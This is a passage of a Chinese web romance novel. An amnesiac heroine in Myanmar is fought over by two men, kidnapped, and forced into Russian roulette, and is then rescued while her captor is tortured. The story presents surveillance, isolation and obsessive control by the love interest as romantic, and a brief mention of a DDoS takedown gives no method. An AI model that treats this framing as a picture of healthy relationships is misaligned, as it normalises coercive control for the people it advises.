顾清珩脸上的笑意有那么一瞬间的凝固。 失忆了吗? 也好。 随即,他的唇角勾起一个极浅的弧度。 “我是你的未婚夫,顾青珩。” 孟昭月:“???” 未婚夫? 怎么又冒出来一个未婚夫? 她沉默了一秒,下意识地回头,指了指把自己搂得死紧的时卿舟。 “可是……他说他是我丈夫啊……你怎么会是我的未婚夫?” 时卿舟闻言,发出一声极轻的嗤笑。 顾青珩的笑容一顿,然后冰冷的目光看向时卿舟。 这个疯子居然骗他家失忆的昭月,真不要脸。 时卿舟依旧是温和礼貌的笑容回应他。 大家都一样吧。 “昭月,他在骗你。”顾清珩不再看时卿舟,看向孟昭月:“不信你让他拿出结婚证。” “而我才是你父母亲自选定的女婿。” 时卿舟闻言,慢条斯理地开口,声音温和却带着十足的压迫感。 “结婚证这种东西,回国补办一张就是了。至于伯父伯母认可的女婿?” 他轻笑一声:“我记得他们前前后后物色了不下十个人选,不知道顾议员……算老几?” 孟昭月:“……” 所以搞了半天,结婚是假的啊。 她脸上不由得流露出一丝遗憾的表情。 可是她很喜欢她这个便宜老公诶。 顾清珩敏锐地捕捉到了她神情的变化,语重心长地对她说。 “昭月,你离他远一点。时卿舟这个人,是个不折不扣的变态。” “他有极强的控制欲,如果你跟他在一起,他会二十四小时监视你,把你囚禁起来,不让你接触任何人。” 时卿舟也不反驳,只是温柔地看着孟昭月,声音里满是深情和无奈。 “月月,别听他胡说。” “我只是……太害怕失去你了。” “你那么美好,总有数不清的人想要把你从我身边抢走。” “我派人保护你,只是为了确保你的安全,这难道也错了吗?” 孟昭月一边认真地听着,一边在心里默默思考。 一直看着自己?一直围着自己转? 听起来……好像很棒诶? 这更加坚定了她要把时卿舟这个“假老公”变成“真老公”的决心。 想着想着,大概是冻久了,孟昭月鼻尖一痒。 “阿啾!” 她没忍住打了个喷嚏。 一时间,两个男人之间剑拔弩张的气氛瞬间被打断。 两人同时看向了她。 孟昭月揉了揉发痒的鼻子,注意到原本正对峙的男人突然盯着自己,疑惑地眨了眨眼,乖巧地问:“怎么了?” 女孩刚打完喷嚏,鼻尖红红的,一双杏眼水汪汪的,看起来可怜又可爱。 可爱。 两个男人的心里,同时冒出了这个念头。 顾清珩的耳尖悄悄泛起一丝薄红,不自然地移开了视线。 时卿舟则盯着她看了一会,眼中的笑意愈发温柔,他伸出手摸了摸孟昭月的头发。 “是我的错,应该先让你去换身干净衣服的。” 顾清珩轻咳一声,附和道:“确实,先去洗个热水澡换身衣服,别感冒了。” 于是,孟昭月被两个男人一左一右地“护送”到了一间客房门口。 孟昭月:“……” 感觉氛围好诡异。 门一打开,孟昭月连忙钻进了屋里。 而时卿舟理所当然地抬脚,准备跟着她一起进去。 “时少爷。” 一只手臂却横在了他面前,拦住了他的去路。 是顾清珩。 顾青珩在孟昭月进屋后,当着时卿舟的面“砰”的一声把门关上。 时卿舟脸上的温和笑容不变,但那双桃花眼里,已经没了丝毫温度。 “顾议员这是什么意思?” “没什么意思。”顾清珩松开已经从内部锁上的门把手,语气漠然:“顾少爷一个陌生男人,还是避嫌比较好。” “我和月月是夫妻。” “有证吗?” 上辈子有,结果这辈子进度清零了。 时卿舟沉默了一瞬,然后温和地笑了笑:“说得好像顾议员有证一样。” 现在轮到顾青珩沉默了。 他连证都没领过。 “顾议员消息倒是快。” 见顾青珩无话可说了,时卿舟面带微笑,却语气讽刺。 “我前脚刚找到人,你后脚就从大使馆跟过来了。” “彼此彼此。”顾清珩的语气同样没什么温度。 “时少爷的私人行程,也不是什么秘密。” 时卿舟:“毕竟有些人,总喜欢把手伸到不该伸的地方。” 顾青珩冷笑:“总比某些人连自己的东西都看不住要强。” 走廊的灯光在两人之间投下长长的影子,空气里的火药味几乎要凝成实质。 沉默片刻,顾清珩率先打破了僵局,他压低了声音:“‘它’……还缠着她吗?” 时卿舟闻言顿了顿。 他微微眯起那双桃花眼,眸色有些沉:“目前还看不出来,暂时没有迹象。” “不过……”时卿舟唇角勾起一抹冰冷的弧度。 “要是那玩意还敢缠着月月,我不介意……” “杀孟婉凝第四十八次。” 顾清珩扯了扯嘴:“我倒是摆脱了那个废物,不过现在你身体里那个,你估计困扰得很吧。” “还好。”时卿舟瞥了一眼顾青珩。 “我可不像你这么无能,连个废物灵魂都处理不了。” …… 客房内。 孟昭月刚从浴室里走出来,身上换了一套干净柔软的棉质睡裙。 她正用毛巾擦着湿漉漉的头发,内间的门被轻轻推开,一个女孩怯生生地探出头来。 是之前在湖边救了她的那个女孩。 孟昭月有些惊讶:“是你?” 女孩看到她,眼睛瞬间就亮了,脸上露出一个腼腆又开心的笑容。 看清孟昭月的模样后,女孩眼中闪过一丝惊艳。 “你、你真好看。” 她有些不好意思地低下头,声音小小的。 “我叫白岺。秦爷让我先跟着你们,说……说可以照顾你。” 孟昭月点了点头,用毛巾继续擦着头发,想了想,开口问道:“对了,我落水之前……发生了什么?我不太记得了。” 白岺的脸颊微微泛红,有些局促的绞着衣角。 “那个……我之前看到你在林子里迷路了,好像在躲什么人,我就想帮你指个路……” “结果没想到林子里路况复杂,你不小心绊到什么掉进池里了。” “我就赶紧把你救上来了。” 孟昭月看着她:“你就这么帮我,不怕惹祸上身吗?” 毕竟帮助一个来路不明,被不明势力追杀的人,怎么看都不安全。 白岺闻言,用力地摇了摇头,眼神清澈而坚定。 “不怕。” “我看到你的第一眼,就觉得你是个顶好顶好的人。” 第71章 怎么,乖宝吓到了? 男人离得很近。 孟昭月能闻到他身上的气味。 一股淡淡的血腥味混合着某种腐蚀气息。 像是一块在慢慢腐烂、衰败的肉。 她不着痕迹地往后挪了一点,在柔软的沙发上坐好,摆出一副乖巧无害的姿态。 “你好。” 她的声音软软糯糯。 “不过……你是谁的哥哥?你认识我吗?” 男人笑了,那张英俊却透着神经质的脸上,笑容显得有些扭曲。 他伸出手,用指背轻轻碰了碰孟昭月的脸颊。 他的皮肤很凉,触感光滑,像蛇的鳞片。 “我是时卿舟的哥哥,时燃。” “我当然认识你,孟——昭——月。” 他的声音带着一种刻意的、拉长的调子,像是在品味她的名字。 “是我把你送到这个好地方来的。” 孟昭月微微偏头,躲开了他冰凉的手指。 她像是来了兴趣,那双干净的杏眼眨了眨。 “是吗?可以和我说说,我是怎么来到缅国的吗?” 时燃像是发现了什么新奇的玩具,凑得更近了,桃花眼死死地盯着她:“你不怕我?” 孟昭月乖巧地点头,丝毫看不出害怕的模样,倒像个认真回答老师问题的学生。 “当然害怕呀。”她软软地说。 这似乎取悦了男人。 时燃猛地用力握住了她的下颌,强迫她仰起脸。 “你很有趣。”他端详着她,眼神狂热。 “一个很不错的玩具。时卿舟那条野狗,居然能找到你这种宝贝。” 他终于回答了她的问题。 “受人所托,就把你从狮城绑到这儿来了。” “本来想把你留给手下开火车的,没想到居然被你给跑了,还被时卿舟那家伙捡了回去。” 他捏着她下巴的手指紧了紧。 “听桑坤那个废物说,你们是夫妻?” 他像是想到了什么好笑的事情,神经质地笑了起来。 “原来我那个低贱的私生子弟弟,从以前开始就一直心心念念的女人……就是你啊,孟昭月。” 孟昭月闻言,心里微微一动。 时卿舟很久之前就认识自己了? 可是听这个男人的话,似乎并没有人知道她的存在? “现在嘛……” 时燃脸上的笑意消失了,取而代之的是一种冰冷的烦躁。 “之前拜托我的那个人,又想杀你了。没办法,我只能重新把你弄回来。” 孟昭月眨了眨眼:“你不怕时卿舟报复吗?” “报复?”时燃嗤笑一声,仿佛听到了天大的笑话。 “就凭他那个私生子?东南亚可是我的地盘。” “哦。”孟昭月乖巧地应了一声,“那你打算什么时候杀我?” 时燃握着她下巴的手缓缓下移,转而扼住了她纤细的脖颈。 他没有用力,但冰凉的皮肤贴着动脉,威胁的意味不言而喻。 “现在。” “这么快呀?”孟昭月眨了眨眼,语气里带着刻意遗憾,“不再继续聊聊吗?” 时燃被她这副模样逗笑了,手上的力道却并未放松。 “原本,那个人的要求是划烂你的脸再杀了你。” “但是……”他凑近她,好像是享受一样地嗅了嗅。 “但是你很可爱,我很喜欢你,我改变主意了。” “我会把你的尸体做成最漂亮的标本,永远收藏起来。” 他的手,开始慢慢收紧。 孟昭月脸上露出了一个甜甜的笑容。 “你是不是经常做标本呀?” “不是哦。”他否认道,手上的动作没有停下,“只有你一个,独一无二。” “想找话题拖延时间?没用的。” 窒息感开始传来,孟昭月的呼吸变得有些困难,但她脸上的表情依旧没什么变化。 “那……要不要试试……更有趣的死法?” 扼住她脖颈的手,顿时松开了。 …… 园区外,指挥车内。 “缅国方面的空中管制和地面封锁许可已经协调完毕。” 顾清珩放下卫星电话,看向屏幕前的时卿舟:“可以动手了。” 时卿舟的目光没有离开热感应屏幕上那个代表着园区的建筑轮廓。 “所有小队注意,”他拿起通讯器,声音冷得像冰,“潜入园区,清除所有障碍。” …… 房间内。 孟昭月从时燃丢在桌上的枪套里,取出了一把银色的柯尔特巨蟒左轮手枪。 她打开转轮,从旁边散落的子弹里拿起一颗,塞进了其中一个弹巢。 “俄罗斯轮盘,六分之一的机会。”她的声音依旧甜软,“谁先死,谁就输了。” 说完,她手指一拨,弹巢旋转,几圈后,子弹的位置完成随机。 她将手枪合上,放在了两人之间的桌子上,对着对面的男人乖巧地笑了笑:“赌命,敢不敢?” “有趣。”男人舔了舔干涩的嘴唇,眼中的疯狂被彻底点燃。 他似乎根本不在乎自己的生命,直接抓起手枪。 “我先来。” 他将枪口抵住自己的太阳穴,一双眼睛却死死地盯着孟昭月,时毫不掩饰的掠夺性。 “咔哒。” 一声轻响。 空枪。 他把枪丢回桌上:“该你了” 孟昭月拿起了枪。 她学着时燃的样子,将枪口对准自己的太阳穴,她的动作顿了顿,然后迅速地扣下扳机。 “咔哒。” 还是空枪。 屋外。 两名巡逻的守卫走过拐角,迎接他们的是两道几乎无法察觉的微光。 “噗、噗。” 加装了消音器的子弹精准地没入他们的眉心,两人哼都没哼一声就倒了下去。 屋内。 时燃再次拿起枪。 这一次,他甚至没有看,直接扣动了扳机。 “咔哒。” 第三次空枪。 与此同时。 静默中,无线电传播着汇报。 “Alpha小队已就位,B区肃清。” “Beta小队已就位,C区肃清。” 屋内。 孟昭月再次拿起枪。 “咔哒。” 第四次空枪。 房间里的空气仿佛凝固了,只剩下两人平稳的呼吸声。 时燃第五次拿起了枪,对准了自己的太阳穴。 “如果这一枪还是空的,”他盯着孟昭月,笑得愈发疯狂,“那么下一枪,你就必死无疑了。” “猜猜看,现在,有没有子弹?” 孟昭月乖巧地笑着,声音甜美。 “我猜,有子弹的。” 时燃的唇极大地勾起,眼中满是兴奋:“答案揭晓。” 他扣下扳机。 “咔哒。” 空枪。 “啊啊,可爱的弟妹猜错了呢。”时燃狞笑着将枪丢给她,“现在,轮到你……该死了。” 孟昭月接过枪,慢慢地举了起来。 时燃兴奋地盯着她,似乎是在见证一场疯狂而盛大的献礼。 等待着少女最美丽的赴死。 就在他以为她即将对着她自己扣下扳机时。 那黑洞洞的枪口,突然调转方向,对准了他。 孟昭月甜甜地笑着。 “都确定下一枪有子弹了,我怎么可能还瞄准自己呢?” 时燃先是一愣,随即爆发出近乎癫狂的狂笑。 “哈哈哈哈哈哈哈哈哈!有趣!太有趣了!” 就在这时。 “轰——!” 房间的门,被从外部直接炸开! 一道修长的身影走了进来。 烟尘在他身后翻滚,勾勒出他挺拔的身形,那双漂亮的桃花眼穿透烟雾,落在了房间中央。 是时卿舟。 他身后是数名身着作战服的人员。 就在同一时间,孟昭月只觉得手腕一紧。 左轮手枪被一股巨大的力量夺走。 下一秒,冰冷的枪口死死抵住了她的太阳穴。 时燃的另一只手臂如铁钳般箍住了她的脖子,将她整个人都挟持在怀里。 “在绝对的实力面前,小聪明可没什么用,我可爱的弟妹。” 时卿舟站在破碎的门框前,烟尘还未完全散去。 他看着被挟持的孟昭月,脸上依旧是那副温和的笑容。 第72章 这么好的孟昭月,该属于他一人 那些疤痕层层叠叠,几乎覆盖了整条小臂,像一张网,无声地诉说着他曾经经历过的残酷。 孟昭月怔怔地看着那片触目惊心的皮肤。 不知道为什么,心脏像是被一只无形的手紧紧攥住,传来一阵细密的、钝痛的感觉。 她咬了咬下唇,没有回答时卿舟的话,此刻脑海里只剩下这突如其来却又理所当然的,名为“心疼”的情绪。 孟昭月这副失神的模样,落入时卿舟眼中,却变成了另一种截然不同的解读。 她害怕了。 她看到这些丑陋的痕迹,害怕了。 这个认知让时卿舟心底升起一股难以抑制的烦躁。 他修长的手指在沙发的皮质扶手上,一下、一下地,不耐地敲击着。 他不喜欢她露出这种表情。 时卿舟的眸子暗了一些。 他的目光没有从孟昭月身上离开,视线顺着她小巧的脸颊滑落,最终停在了她纤细的脖颈上。 那里,有一圈青紫色的掐痕,是之前时燃时留下的。 时卿舟敲击扶的手指猛地顿住,眼底的烦躁瞬间被冰冷的阴鸷取代。 他抬起头,对站在一旁的护士吩咐道:“去,帮孟小姐处理一下脖子上的伤。” 护士立刻会意,从医疗箱里取出一管药膏和棉签,帮孟昭月涂抹。 孟昭月才回过神来,下意识的看了时卿舟一眼,只见对方只是温柔地看着他。 另一边,江医生已经取出子弹,帮时卿舟缝合包扎好了。 整个过程,时卿舟连眉头都没有皱一下,只是安静地看着孟昭月。 手术后,护士们安静而迅速地收拾着现场的狼藉。 “你的药,是不是快吃完了?”江医生一边摘下染血的手套,一边问。 时卿舟的目光终于从孟昭月身上移开,看向江医生,淡淡地“嗯”了一声。 “快没了,帮我补一些。” 江医生从医药箱的夹层里,取出一个通体纯白、没有任何标签和标识的小药瓶,放在了时卿舟面前的茶几上。 “星瀚生物那边最新送来的样品。” 孟昭月看着那个神秘的小瓶子,有些疑惑。 这里面是什么药? 听时卿舟和江医生的对话,时卿舟似乎在长期服用这些药? 见时卿舟的伤口处理妥当,江医生收拾好医药箱,准备带着团队离开。 “等一下。”时卿舟突然开口。 江医生停下脚步,疑惑地回头:“时先生还有什么吩咐?” 时卿舟抬起自己的左臂。 “这些旧伤,能去掉吗?” 江医生愣了一下,他顺着时卿舟的视线看去,随即目光又转向了坐在沙发上、一脸茫然的孟昭月,瞬间明白了什么。 他推了推鼻梁上的金丝眼镜,嘴角勾起一个了然的笑意。 “小问题。”江医生耸了耸肩,语气轻松。 “做几次超脉冲CO2点阵激光,配合一些胶原蛋白再生疗法,很快就能恢复平整。” 时卿舟闻言,点了点头,没再说什么。 孟昭月却呆住了。 他问这个……是因为她吗? 孟昭月安静的坐着,然后乖巧地看向时卿舟。 怎么办。 他这样…… 让她更想要他了。 江医生见没有其他事了,便带着医疗团队躬身告辞,安静地退出了房间。 屋内恢复了安静。 时卿舟看了孟昭月一眼,之前女孩乖乖巧巧的坐在一旁。 在自己看向她的时候,对着他露出了一个甜甜的笑容。 可爱。 刚刚的烦躁在看到她的笑容后,瞬间消失得干净了。 时卿舟,顿了顿,然后站起身,单手解开了那件被血浸透的衬衫。 将衬衫随手扔进了垃圾桶里,赤裸的上半身就这么暴露在灯光下。 宽阔的肩膀,紧实的胸肌,线条流畅的人鱼线没入西裤边缘。 他的身材是典型的穿衣显瘦、脱衣有肉,每一寸肌肉都充满了蓄势待发的力量感。 然而,与那条伤痕累累的手臂形成鲜明对比的是,他的身上,竟然没有什么明显的疤痕。 孟昭月看着,心里有些疑惑。 时卿舟从随身的行李箱里取出一件新的白衬衫,他注意到孟昭月直勾勾的视线,微微勾起唇角,那双漂亮的桃花眼带着几分戏谑。 “满意吗?” 孟昭月愣了一下,随即后知后觉地反应过来他是在问什么,脸颊“轰”的一下就红透了。 她下意识地移开了目光,却又想到什么,重新移回目光,继续直勾勾地盯着时卿舟。 这么好看。 为什么不能看嘛? 就算是假的老公,那也是老公。 看自己老公身体,天经地义。 “满意。”孟昭月甜甜道。 时卿舟轻笑一声,不紧不慢地穿上衬衫,一颗一颗地扣好扣子,拉起压住了伤口的袖子,然后朝她走了过来。 看到他走近,孟昭月突然开口,那双杏眼一瞬不瞬地盯着时卿舟。 “我没有被吓到。” 时卿舟的脚步顿了顿,他愣了一下,才意识到她是在回答他刚刚的那个问题。 孟昭月伸出手,她的指尖小心翼翼地,沿着那些凸起凹陷的痕迹,缓缓抚摸。 “疤痕不应该成为恐惧的原因。” 她看着那些狰狞的疤痕,动作却像对待某种艺术珍品。 “它只是身体记住故事的一种方式。” “每一个痕迹,都说明你经历了什么,又走到了今天。” “我觉得,它们是你的一部分。” 她的声音还是惯有的软软糯糯音色,像一股和煦的暖流,轻而易举地就浸透了他腐烂破败的心。 时卿舟低着头,看着眼前这个小小的、正认真抚摸着他伤疤的女孩。 他似乎能够感觉到自己的脉搏,在随着她的指尖的触碰而轻轻跳动,将来自她的酥麻触感全部挤压进心脏中。 孟昭月…… 他的眸色,一点一点地,变得浓稠起来。 无论时间怎么变迁,无论如何轮回,她都是一如既往的……让人想要彻底占有。 她一直都是他的月月。 这么好的孟昭月,就应该完完全全地,只属于他一个人。 想要一遍又一遍地占有她,让她哭,让她求饶,让她身上印满他的专属徽章,让她在他耳边一遍又一遍地说着这些让他疯狂的话。 他硬生生地压下了心底所有翻腾的黑暗妄念。 时卿舟伸出另一只手握住了她正在抚摸自己伤疤的手。 然后,他低下头,虔诚地,轻轻吻了吻她的指尖。 声音沙哑道:“月月乖……” …… 客房内只留了一盏昏黄的落地灯,光线柔和。 孟昭月睡在了客房内间的床上。 而时卿舟睡在外间的沙发上,身上只盖了一层薄毯。 他知道,两人才“初识”不久,他应该给她适应的时间。 她现在是一张白纸,纯洁无瑕。 他需要足够的耐心,一点一点地,重新将这张白纸,涂满独属于他一个人的色彩。 凌晨,屋内一片安睡的静谧。 时卿舟的手机轻轻震动了两下,他顿时睁开了眼睛。 看了眼手机上新收到的秦御的信息,他无声地起身,本想离开,却鬼使神差的走进了卧室内间。 床上的女孩睡得很沉,呼吸均匀,白皙的小脸在昏黄的夜灯下透着一层绒光。 或许是觉得有些冷,她把自己蜷成了一小团,被子被踢开了一角,露出一截纤细莹润的小腿。 时卿舟在床边蹲下,目光近乎贪婪地、一寸一寸描摹着她的睡颜,眼底是化不开的痴迷和渴望。 我的月月…… 终于又回到我身边了。 看了不知多久,他起身小心翼翼地将她踢开的被角重新掖好 做完这一切,他才转身,悄无声息地离开。 …… 地牢中。 时燃像一滩烂泥般被拖了出来,丢在冰冷的地面上。 他浑身是伤,十指的指甲被尽数拔去,关节也被错位打断,早已不成人形。 秦御站在一旁,懒洋洋地指挥着手下。 “给他处理一下伤口,打一针强心剂。” “今天就要丢回国的飞机上,别让少爷送的‘礼物’在中途碎了。” 角落的阴影里,顾清珩靠着墙,指间那枚黑漆打火机“咔哒、咔哒”地响着,金属开合的声音在空旷的地牢里回荡。 时卿舟从外面走了进来。 顾清珩抬起眼皮,从口袋里摸出一根烟,递了过去。 “来一根?” 时卿舟温和地笑了笑,摇了摇头。 “月月不喜欢烟味。” 他看着顾清珩,意有所指。 “顾议员还是收起你那些没用的小心思吧。” 顾青珩他自己不抽烟,却在知晓孟昭月不喜欢烟味的情况下,给时卿舟递烟。 其心思可想而知,脏得很。 顾青珩嗤笑一声,将烟和打火机都收了起来。 “时少爷倒是警惕。” 时卿舟没再跟他废话,直接切入正题。 “查得怎么样了?” 顾清珩朝身后摆了摆手:“林郁,把资料给他。” 顾青珩的秘书上前一步,把一叠资料递给了时卿舟。 时卿舟接过资料,一页一页地翻看着,神情专注。 顾清珩在一旁解释:“我跟着时燃给的线索让民政局那边查,查清楚了。” “这一世,她没有被送进孤儿院。” “被抱错后不久,被一对普通的工薪夫妇收养了。” “难怪我们之前怎么都找不到她。” “前几天,她和朋友一起来狮城旅游,被时燃的人盯上,绑架了。” 时卿舟翻动纸页的手指一顿。 第73章 他是如此的需要她 她眨了眨眼,脸上露出一个乖巧无害的笑容,转过身,仰起脸看向身后的男人。 “因为他说他是我未婚夫呀。”她的声音软软糯糯。 “你说你是我老公,可是又冒出来一个未婚夫,我总要搞清楚状况嘛。” 时卿舟低眉看着孟昭月,安静地听着她的解释,神情依旧温和。 他的手轻轻抚摸上她的脖颈,若有似无地摩挲着那片细腻的皮肤。 那里,还残留着一道极浅的、几乎快要看不清的青紫色掐痕。 是时燃留下的。 “那月月相信吗?”时卿舟的声音很温柔,听不出任何情绪。 孟昭月摇了摇头。 “月月很乖。”时卿舟眼中露出了愉悦的神色。 “顾青珩那种人很脏。” “月月很善良。” “不过,有些人就像路边的野狗,给他一点善意,他就会得寸进尺,摇着尾巴缠上来,很烦人。” “以后离他远一点,好不好?” 孟昭月看着他那双深不见底的桃花眼,忽然歪了歪头。 “阿卿,”她软软地问,“你是吃醋了吗?” 时卿舟摩挲着她脖颈上青痕的手指停了下来,他看着眼前的女孩,慢慢地勾起唇。 她叫他阿卿了…… “是啊。”他毫不犹豫地承认了,声音低沉沙哑,带着一丝笑意。 他一只手压着椅背,另一只手扣紧了孟昭月的后劲,俯下身,压迫下来,额头轻轻抵着她的额头,那双桃花眼紧紧地盯着她。 “不仅是吃醋。” 他的声音压得更低,像恶魔的私语,带着病态的痴迷。 “我还在害怕。” “月月,我好害怕。” 孟昭月的心跳,漏了一拍。 “我怕你会被别人抢走,怕你会觉得别人比我好,怕你会再一次……不要我。” 他伸手,把孟昭月按在了自己怀里,很用力,像是要将她揉进自己的骨血里。 “我可以失去一切,财富、权力、甚至生命……这些对我来说都无所谓。” “但唯独不能失去你。” “月月,你是我的一切。” 孟昭月被他紧紧地抱着,鼻尖萦绕着他身上那股熟悉的、甜腻的香气。 她能清晰地感觉到他胸腔里传来的的心跳,和环着她那微微颤抖的手臂。 他是如此的……需要她。 这个认知,像一股暖流,瞬间填满了她内心中的某种空洞。 被坚定的选择,被疯狂的需要。 真好。 孟昭月在时卿舟怀里蹭了蹭。 温存过后,时卿舟脑海里却忽然闪过地牢里收到的那条短信。 「我要缅矿新出的血钻,带来给我。」 珠宝…… 他看着怀里女孩白皙如玉的皮肤,一个念头冒了出来。 那种最顶级的、鸽血一般的红色,戴在她的脖颈上,一定很美。 像雪地里绽开的红梅,也像……鲜血。 他松开孟昭月,脸上的神情已经恢复了平日的温柔。 “月月,想不想陪我去当地人家里玩玩?” 孟昭月从那种被需要的满足感中回过神,听到他的提议,有些好奇地点了点头。 “好呀。” …… 车队穿过层层岗哨,最终在一座占地广阔的庄园前停下。 十几栋柚木建造的高脚楼散落在庄园各处,由蜿蜒的回廊连接,每一栋的屋顶都覆盖着金箔。 主楼甚至还有一个小型的佛塔尖顶,阳光下金灿灿的。 车还没停稳,昂山多就带着人迎了出来。 “时先生!欢迎欢迎!”他满脸堆笑,姿态放得极低。 时卿舟温和地点了点头,扶着孟昭月下了车。 孟昭月刚一站定,就感觉到好几道好奇的目光从不远处投来。 她顺着感觉看去,只见几棵巨大的芭蕉树后面,探出了七八个小脑袋。 那是一群皮肤黝黑的孩子,最大的看起来不过十来岁,最小的还在蹒跚学步。 当看到孟昭月那张白皙精致、漂亮得不像真人的脸时,几个大一点的孩子甚至发出了小小的惊呼声,随即又害羞地把头缩了回去,只留下一双眼睛在外面偷偷地瞧。 昂山多一边领着人往里走,一边笑道:“都是家里几个不成器的小崽子,夫人别在意。” 他也有些惊讶,毕竟上次见到孟昭月,她还被桑坤的人绑着的,看起来极其狼狈。 没想到还真是时先生的妻子。 不过也是,这么漂亮的人,倒也正常。 孟昭月礼貌的点了点头:“小孩很可爱,外长阁下有福了。” 昂山多闻言眼中的笑意也多了几分真心实意。 “月月喜欢小孩吗?”时卿舟的声音在她耳边响起。 孟昭月想了想,很诚实地回答:“没什么特别的偏好,可爱的就喜欢,熊孩子就不喜欢。主要还是看人。” 时卿舟若有所思地点了点头,没再说什么。 昂山多带着他们进入了那栋有佛塔顶的主楼。 厅内已经坐了不少人,有穿着缅国高级军官制服的,有武装的首领,还有几个看起来像是华侨商会的话事人。 见到时卿舟进来,所有人立刻起身,恭敬地行礼。 昂山多热情地招呼着,让仆人送上最顶级的茶点和水果。 一番寒暄过后,他笑着说:“我们几个大老爷们谈事,怕是会闷到夫人。” “时先生,不如就让我太太陪夫人四处逛逛?” 时卿舟没有立刻答应,而是低头看向孟昭月,温柔地征求她的意见:“想去吗?” 孟昭月想了想,一直待在这里听他们谈论那些她听不懂的事情,确实有点无聊。 她点了点头。 “去吧。”时卿舟揉了揉她的头发,语气宠溺,“玩得开心些。” 他的声音很温柔,却带着不容置疑的宠溺和纵容。 “在这里,你就是天。” “有谁惹你不开心,想怎么教训就怎么教训,一切有我。” 说完,他便松开了手。 昂山多的大老婆温柔地带着孟昭月离开了。 …… 孟昭月被几位穿着传统特敏的太太簇拥着。 昂山多的大老婆依次给她介绍了太太团,都是今天来访的人的夫人, 其中一个年轻的女人不着痕迹地将孟昭月从头到脚打量了一遍。 看到孟昭月的衣服是她一直想要的最新款限定,女人语气带着几分不易察觉的酸意:“这就是外长说的贵客啊,去打麻将吗?” 她是昂山多最宠爱的小老婆,敏敏。 孟昭月摇了摇头:“对不起,我不会。” “连麻将都不会?”敏敏夸张地“呀”了一声,用披肩掩唇笑了起来:“那牌九总会吧?” 孟昭月依旧是摇头,声音软软的:“也不会。” 敏敏脸上轻蔑的笑意更明显了:“这也不会,那也不会,时夫人平时都玩些什么?天天装乖乖女看书?” 孟昭月点头:“嗯,就是看书。” 敏敏:“……”这人怎么油盐不进呢。 这时孟昭月身边一位华人女子语气不善地开口:“我们时夫人又不像你,本事都用在牌桌和床上了。” 那华人女子是军政府一位实权将军新娶的小老婆。 敏敏气结:“苏晓!你!” 孟昭月看向被称为苏晓的华人女人,总觉得她有点眼熟。 苏晓没理敏敏,而是直接提议道:“既然都不想玩牌,赌石怎么样?” “我听说最近帕敢那边的场口最近特开门,去碰碰运气?” 其他夫人好戏看得差不多了,便跟着附和同意。 见众人都同意,孟昭月自然也乖巧地点了点头。 这时她感受到一股阴沉的目光,她下意识地回头看去,只见有一位商会会长的小老婆看着自己。 注意到孟昭月的目光后,那人把目光移开了。 …… 帕敢街,一如既往的热闹喧嚣。 孟昭月跟在几位夫人身后,好奇地打量着四周。 她无意扫了眼街角,看到几个穿着黑色作战服、身形剽悍的男人跟在不远处。 是时卿舟的人。 “时先生真稀罕夫人呐,出来逛个街,都得派这么多人跟着,真矜贵。”敏敏的声音又酸溜溜地响了起来。 孟昭月转过头,对她露出一个甜美的、毫无芥蒂的笑容。 “谢谢敏敏夫人夸奖。”。 她喜欢听这句“时先生真稀罕夫人呐”。 敏敏被她这一下噎得说不出话来,只能悻悻地转过头。 苏晓带着她们走进了一家名为“福盛隆”的赌石店。 这家店规模很大,三层楼,门口摆着两座石狮子,气派非凡。 夫人们一进去,就各自散开,兴致勃勃地挑选起了原石。 孟昭月随手拿起一块拳头大小的石头,石头的一侧有一个很有趣的折角,像被人啃了一口。 “就这个吧。”她说。 敏敏拿着刚解的石头走过来,她选的石头开出了糯米种,虽然水头一般,但也小赚了一笔。 她看到孟昭月手里的那块小石头,嗤笑一声。 “时夫人你这玩意,皮松、沙粗,连蟒带都没有,能开出东西才怪了。” “不像我,一刀见绿。” 孟昭月只是乖巧地笑了笑,没有反驳。 其他夫人选好石头后,也排队解了石,各有斩获。 轮到孟昭月时,她突然发现,师傅拿的那块……不是她刚才选的那块。 虽然大小和颜色都很像,但那个有趣的折角不见了。 拿错了吗? 孟昭月正打算出声,但是解石师傅已经下刀了。 刺耳的切割声响起,石屑纷飞。 “涨了!涨了!大涨啊!” 随着师傅一声惊呼,围观的人群瞬间沸腾了! 只见切开的石面,露出一抹浓郁得化不开的、如同祖母绿宝石般的阳绿色! “我的天!是帝王绿!还是玻璃种!” “这一刀下去,至少一个亿啊!” 第74章 哪里都疼QAQ “暗网悬赏榜?”孟昭月重复了一遍这个只在某些文学作品里听过的词。 时卿舟将她抱得更紧了些,下巴轻轻抵着她的发顶,声音温和地在她耳边解释。 “域名无法直达的网站的统称,什么都能买卖,包括人命。” “有人在上面挂了你的名字。” “价格很高。” 他的声音很平淡,抱着她的手臂却不自觉地收紧了。 只要一想到他的月月被放在那种肮脏的地方,被人像商品一样估价、觊觎,他就抑制不住心底翻涌的杀意。 “不过别怕,”他感觉到怀里的人身体微微一僵,立刻柔声安抚,“我已经让网络安全小组用DDoS洪流攻击冲垮了那个节点的服务器。” 孟昭月听得一知半解,但还是抓住了重点:“就是说,悬赏已经没啦?” “嗯,后面不会再有人接单了。”时卿舟肯定地回答。 孟昭月似懂非懂地点了点头,她更关心的是另一个问题。 “那知道是谁挂的悬赏吗?” 时卿舟看着她,沉默了几秒,然后直接说出了一个名字。 “时莉莉。” 孟昭月:“时莉莉是谁?” 也姓时,和时卿舟有什么关系吗? “一个坏人。”时卿舟的回答简单直接,像是在给一个不谙世事的孩子划分好人与坏人的阵营。 他松开她,捧起她的小脸,那双漂亮的桃花眼认真地看着她。 “月月要记住,以后离这个人远一点,不要和她玩,知道吗?” 孟昭月乖巧地点了点头。 时卿舟看着她乖巧的模样,唇角勾起一个温柔的弧度,像是在教小孩子背书一样,循循善诱。 “来,跟我说一遍。” “时莉莉不是好人,乖宝宝月月不要和她玩。” 孟昭月:“……” 她伸出一根手指,指了指自己:“我已经成年了。” 时卿舟没有说话,只是温柔地看着她,眼底的笑意愈发浓了。 “……” “……” 两人对视了几秒,孟昭月最终还是在他的目光下败下阵来。 她有些生气地鼓起了腮帮子,不情不愿地小声复述了一遍。 “时莉莉不是好人……乖宝宝月月不要和她玩……” 时卿舟听着女孩软软糯糯的声音,盯着她气鼓鼓的小脸,眼中笑意更深了。 可爱。 想把她按在怀里,狠狠地亲到哭出来。 时卿舟的喉结滚动了一下,最终还是忍住了,只是伸出手捏了捏她可爱的脸蛋。 “真乖。” 他的声音愈发的温柔,带着蛊惑的意味。 “你看,月月,这个世界很危险,到处都是想伤害你的人。” “只有待在我身边,才是最安全的。” “只有我能保护你。” 孟昭月:“哦……” 